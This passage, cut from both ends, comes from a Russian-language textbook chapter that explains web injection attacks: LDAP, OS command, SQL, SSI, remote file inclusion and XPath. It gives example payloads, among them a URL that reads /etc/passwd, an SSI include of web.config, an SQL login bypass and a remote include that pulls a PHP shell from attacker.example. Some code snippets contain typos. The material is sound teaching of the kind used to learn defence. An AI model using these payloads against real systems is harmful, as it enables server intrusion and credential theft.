Обратите внимание, что имя пользователя, полученное от клиента, проверяется на наличие в этой строке пустого значения (строки 10-12). Если в переменной содержится какое-то значение, оно используется для инициализации переменной filter (строка 18). Полученное значение используется для построения запроса к службе LDAP (строка 27), который исполняется в строке 29. В приведенном примере атакующий имеет полный контроль над запросом и получает его результаты от сервера (строки 32-40).
Выполнение команд операционной системы (OS Commanding). Атаки этого класса направлены на выполнение команд операционной системы на веб-сервере путем манипуляции входными данными. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность выполнить команды операционной системы. Они будут выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб-сервер и т. д.). Пример: язык Perl позволяет перенаправлять вывод процесса оператору open, используя символ | в конце имени файла:
#Выполнить "/bin/ls" и передать
#результат оператору
open Open (FILE, "/bin/ls|")
Веб-приложения часто используют параметры, которые указывают на то, какой файл отображать или использовать в качестве шаблона. Если этот параметр не проверяется достаточно тщательно, атакующий может подставить команды операционной системы после символа | . Предположим, приложение оперирует URL следующего вида: http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt.
Изменяя значение параметра template, злоумышленник дописывает необходимую команду (/bin/ls) к используемой приложением:
http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|
Большинство языков сценариев позволяет запускать команды операционной системы во время выполнения, используя варианты функции exec. Если данные, полученные от пользователя, передаются этой функции без проверки, злоумышленник может выполнить команды операционной системы удаленно. Следующий пример иллюстрирует уязвимый PHP-сценарий:
exec("ls-la $dir",$lines,$rc);
Используя символ ; (UNIX) или & (Windows) в параметре dir, можно выполнить команду операционной системы:
http://example/directory.php?dir=%3Bcat%20/etc/passwd
В результате подобного запроса злоумышленник получает содержимое файла /etc/ passwd.
Внедрение операторов SQL (SQL Injection). Эти атаки направлены на веб-серверы, создающие SQL-запросы к серверам СУБД на основе данных, вводимых пользователем. Язык запросов Structured Query Language (SQL) представляет собой специализированный язык программирования, позволяющий создавать запросы к серверам СУБД. Большинство серверов поддерживают этот язык в вариантах, стандартизированных ISO и ANSI. В большинстве современных СУБД присутствуют расширения диалекта SQL, специфичные для данной реализации (например, T-SQL в Microsoft SQL Server и т. д.). Многие веб-приложения используют данные, переданные пользователем, для создания динамических веб-страниц. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать запрос к SQL-серверу, отправляемый приложением. Запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб-сервер и т. д.). В результате злоумышленник может получить полный контроль над сервером СУБД и даже его операционной системой. С точки зрения эксплуатации SQL Injection очень похож на LDAP Injection.
Предположим, что аутентификация в веб-приложении осуществляется с помощью веб-формы, обрабатываемой следующим кодом:
SQLQuery = "SELECT Username FROM Users WHERE
Username = '" & strUsername & "' AND Password = '"
& strPassword & strAuthCheck =
GetQueryResult(SQLQuery)
В этом случае разработчики непосредственно используют переданные пользователями значения strUsername и strPassword для создания SQL-запроса. Предположим, злоумышленник передаст следующие значения параметров:
Login:'OR''='
Password:'OR''='
В результате серверу будет передан следующий SQL-запрос:
SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''=''
Вместо сравнения имени пользователя и пароля с записями в таблице Users данный запрос сравнивает пустую строку с пустой строкой. Естественно, результат подобного запроса всегда будет равен True, и злоумышленник войдет в систему от имени первого пользователя в таблице. Обычно выделяют два метода эксплуатации внедрения операторов SQL: обычная атака и атака вслепую (Blind SQL Injection). В первом случае злоумышленник подбирает параметры запроса, используя информацию об ошибках, генерируемую веб-приложением.
К примеру, добавляя оператор union к запросу, злоумышленник может проверить доступность базы данных (листинг 1.12).
Листинг 1.12. Пример применения оператора union в запросе
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.
Из этого примера следует, что оператор union был передан серверу, и теперь злоумышленнику необходимо подобрать используемое в исходном выражении select количество параметров. Возможен также вариант внедрения SQL-кода вслепую. В этом случае стандартные сообщения об ошибках модифицированы, и сервер возвращает понятную для пользователя информацию о неправильном вводе. Осуществление SQL Injection может быть реализовано и в этой ситуации, однако обнаружение уязвимости затруднено. Наиболее распространенный метод проверки наличия проблемы – добавление выражений, возвращающих истинное и ложное значения.
Выполнение запроса http://example/article.asp?ID=2+and+1=1 к серверу должно вернуть ту же страницу, что и запрос: http://example/article. asp?ID=2, поскольку выражение and 1=1 всегда истинно.
Если в запрос добавляется выражение, возвращающее значение False: example/article.asp?ID=2+and+1 = 0, то пользователю будет возвращено сообщение об ошибках или страница не будет сгенерирована.
Если факт наличия уязвимости подтвержден, эксплуатация ничем не отличается от обычного варианта.
Внедрение серверных расширений (SSI Injection). Атаки данного класса позволяют злоумышленнику передать исполняемый код, который в дальнейшем будет выполнен на веб-сервере. Уязвимости, приводящие к возможности осуществления данных атак, обычно заключаются в отсутствии проверки данных, предоставленных пользователем, перед сохранением их в интерпретируемом сервером файле.
Перед генерацией HTML-страницы сервер может выполнять сценарии, например Server-site Includes (SSI). В некоторых ситуациях исходный код страниц генерируется на основе данных, предоставленных пользователем.
Если атакующий передает серверу операторы SSI, он может получить возможность выполнения команд операционной системы или включить в нее запрещенное содержимое при следующем отображении. Вот и пример: выражение < !—#exec cmd="/ bin/ls /" – > будет интерпретировано в качестве команды, просматривающей содержимое каталога сервера в UNIX-системах. Следующее выражение позволяет получить строки соединения с базой данных и другую чувствительную информацию, расположенную в файле конфигурации приложения .NET: <! – #INCLUDE VIRTUAL="/web.config"->
Другие возможности для атаки возникают, когда веб-сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию. Предположим, веб-приложение работает со ссылками, подобными следующей: http://portal.example/index.php?template=news$body=$_GET['page'].".php".
В ходе обработки этого запроса сценарий index.php подключает сценарий news. php и выполняет указанный в нем код. Злоумышленник может указать в качестве URL http://portal.example/index.php?template=http://attacker. example/phpshell, и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами веб-сервера.
Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения (http://portal.example/index.php? template=users/uploads/phpshell) или напрямую (http://portal. example/users/uploads/phpshell.php).
Внедрение операторов XPath (XPath Injection). Эти атаки направлены на вебсерверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.
Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT-преобразования XML-документов или выполнения запросов XQuery.
Синтаксис XPath близок к языку SQL-запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента – имя, пароль и номер счета. Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":
String(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы. Для примера предположим, что веб-приложение использует XPath для запросов к документу XML для получения номеров счетов пользователей, чьи имена и пароли были переданы клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости (листинг 1.13).
Листинг 1.13. Код, реализующий уязвимость посредством оператора XPath